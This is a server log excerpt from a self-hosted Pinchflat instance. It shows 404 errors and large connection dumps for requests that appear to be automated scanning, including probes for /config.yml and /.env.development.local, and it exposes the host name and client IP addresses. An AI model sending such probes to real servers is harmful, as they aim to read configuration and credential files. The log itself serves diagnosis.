"a200e08ab93a7066-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "qiaw847be7d11pmx.workers.dev", (truncated) 02:30:36.419 [info] GET /config.yml 02:30:36.420 [debug] QUERY OK source="settings" db=0.2ms idle=190.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.420 [debug] QUERY OK source="settings" db=0.0ms idle=190.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.420 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.420 [error] #PID<0.3661.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 10) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a79068141-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "mzrrc944176bso4b.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3661.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08a79068141-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "mzrrc944176bso4b.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBnBmsjq6vbMAAVYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a79068141-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "mzrrc944176bso4b.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a79068141-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "mzrr (truncated) 02:30:36.453 [info] GET /.env.development.local 02:30:36.454 [debug] QUERY OK source="settings" db=0.2ms idle=223.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.454 [debug] QUERY OK source="settings" db=0.2ms idle=219.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.454 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.454 [error] #PID<0.3662.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 11) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.development.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e08ab8263142-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dan-i-elbear3-863.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3662.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08ab8263142-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "dan-i-elbear3-863.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.development.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBnJt8ol3s6sAAVZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e08ab8263142-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dan-i-elbear3-863.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e08ab8263142-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dan-i-elbear3-863.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KH (truncated) 02:30:39.767 [info] GET /assets/js/auth.js 02:30:39.768 [debug] QUERY OK source="settings" db=0.2ms idle=763.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:39.768 [debug] QUERY OK source="settings" db=0.0ms idle=43.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:39.768 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:39.768 [error] #PID<0.3663.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /assets/js/auth.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3663.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/js/auth.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBzf2IJE5gccAAVaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3663.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint (truncated) 02:30:40.368 [info] GET /assets/js/message.js 02:30:40.368 [debug] QUERY OK source="settings" db=0.1ms idle=643.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:40.368 [debug] QUERY OK source="settings" db=0.0ms idle=644.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:40.369 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:40.369 [error] #PID<0.3664.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 13) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /assets/js/message.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3664.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/js/message.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmB1vCRJZBy7AAAVbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => 